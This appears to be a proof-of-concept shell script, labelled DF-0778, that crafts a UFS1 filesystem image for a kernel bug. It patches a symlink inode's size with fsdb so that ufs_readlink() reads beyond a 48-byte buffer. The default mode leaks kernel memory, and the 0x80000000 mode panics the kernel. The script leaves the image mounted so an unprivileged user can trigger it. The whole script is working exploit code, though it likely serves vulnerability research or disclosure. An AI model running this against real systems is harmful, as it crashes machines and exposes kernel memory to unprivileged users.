#!/bin/sh
# DF-0778 — root-run setup: build a crafted UFS1 image whose symlink inode
# has di_blocks==0 (inline shortlink) and a di_size that overflows the
# 48-byte i_shortlink buffer when ufs_readlink() truncates it to `int`
# and feeds it to uiomove().
#
# Mode A (default): di_size=200  -> isize=200 (positive int) -> uiomove
#   reads 200 bytes out of a 48-byte buffer -> ~152 bytes of OOB info leak.
# Mode B: di_size=2147483648 (0x80000000) -> isize=INT_MIN -> sign-extends
#   to ~2^63 size_t -> uiomove page fault -> kernel panic (DoS).
#
# Usage:  craft_image.sh [modeA_size|modeB]   (default: 200)
# Leaves the image MOUNTED on /mnt/test with the symlink world-readable
# so the unprivileged user (maxx) can readlink() it.
set -u
# (fsdb returns 255 on success because it marks the fs dirty; we run it
#  outside a set -e context and capture its exit explicitly below.)

MODE="${1:-200}"
IMG=/root/ufsimg
MNT=/mnt/test
VN=vn0

# clean slate
umount -f ${MNT} 2>/dev/null || true
vnconfig -u ${VN} 2>/dev/null || true
rm -f ${IMG}

# 1MB image, attach as vnode disk
dd if=/dev/zero of=${IMG} bs=1m count=1 status=none
vnconfig -c ${VN} ${IMG}

# UFS1 filesystem
newfs ${VN} >/dev/null 2>&1

mkdir -p ${MNT}
mount -o nosuid /dev/${VN} ${MNT}

# create a normal short symlink (stored inline in di_db, di_blocks=0)
cd ${MNT}
ln -s "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" mylink
cd /

# make world-traversable so maxx can readlink it
chmod 755 ${MNT}
chmod 777 ${MNT}/mylink 2>/dev/null || true
# also chown so maxx owns it (belt and suspenders)
chown maxx ${MNT} 2>/dev/null || true

umount ${MNT}

# Now patch inode 3 (the symlink) on disk via fsdb
if [ "${MODE}" = "modeB" ]; then
	NEWLEN=2147483648        # 0x80000000 -> isize = INT_MIN
else
	NEWLEN="${MODE}"
fi

# fsdb exits 255 with "*** FILE SYSTEM MARKED DIRTY" even on success; that is
# expected, so don't use set -e around it and ignore its exit code.
fsdb /dev/${VN} >/tmp/fsdb.log 2>&1 <<EOF
inode 3
chlen ${NEWLEN}
quit
EOF
echo "fsdb patched inode 3 -> di_size=${NEWLEN} (see /tmp/fsdb.log)"

# Remount read-only (the bug triggers on readlink regardless of mount rw)
mount -o ro,nosuid /dev/${VN} ${MNT}
chmod 755 ${MNT} 2>/dev/null || true
chown maxx ${MNT} 2>/dev/null || true

echo "CRAFTED_IMAGE_READY mode=${MODE} symlink_inode=3 di_size=${NEWLEN} di_blocks=0"
echo "mount: $(mount | grep ${MNT})"
